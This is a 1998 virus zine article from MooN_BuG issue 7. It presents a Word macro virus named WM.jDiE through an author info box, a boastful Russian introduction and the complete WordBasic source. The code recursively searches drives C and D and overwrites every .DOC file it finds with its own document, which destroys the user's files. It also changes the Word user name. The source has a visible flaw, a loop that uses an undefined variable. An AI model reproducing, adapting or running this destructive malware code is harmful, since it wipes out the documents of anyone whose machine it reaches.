[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 7, Sep 1998                                           file 012

                    ┌─[BeginNFO]─────────────────────────┐
                    ■ Name    : WM.jDiE                  │
                    ■ Made by : FRiZER ([email protected])  │
                    ■ Made at : 25/07/98                 │
                    ■ Target  : *.DOC in all subdirs C,D │
                    ■ Type    : Overwriter               │
                    └─[EndNFO]───────────────────────────┘

     Вы когда нибудь видели OverWriter на Word Basic'e ? Я нет ;) Ну и сделал.
Вирус  получился  тупой  и  грозный  ;)  Зовется Джидай Даже больше на троянца
похож.  При  открытии  зараженного файла (который всегда будет один и тот же),
ничего  не  происходит,  а  вот при закрытии... ага. приехали. вирус роется по
всему  диску  (как  по  своему  ;) старым "дедовским" рекурсивным методом. как
найдет себе подобного (*.DOC), так его и убивает. своим хлипким телом. Вообщем
изврат полный.

=== Cut ===
'.---------.
': WM.jDiE :
'`---------'

Sub MAIN
On Error Goto EndMain
For d = Asc("C") To Asc("D")
        Call Troi(Chr$(d), Chr$(d) + ":\")
Next d
EndMain:
End Sub

Sub Troi(d$, path$)
DirNum = CountDirectories(path$)
If DirNum = - 1 Then Goto FindFile
For i = 1 To DirNum
        CurDir$ = GetDirectory$(path$, i)
        Call Troi(d$, path$ + CurDir$ + "\")
Next i
FindFile:
f$ = Files$(path$ + "*.doc")
c = - 1
While f$ <> ""
        c = c + 1
        f$ = Files$()
Wend
If c > - 1 Then
        f$ = Files$(path$ + "*.doc")
        CopyFile .FileName = FileName$(), .Directory = f$
        For i = 1 To count
                f$ = Files$()
                CopyFile .FileName = FileName$(), .Directory = f$
        Next i
End If
ToolsOptionsUserInfo .Name = "jDiE"
Print "jDiE here!"
End Sub
=== Cut ===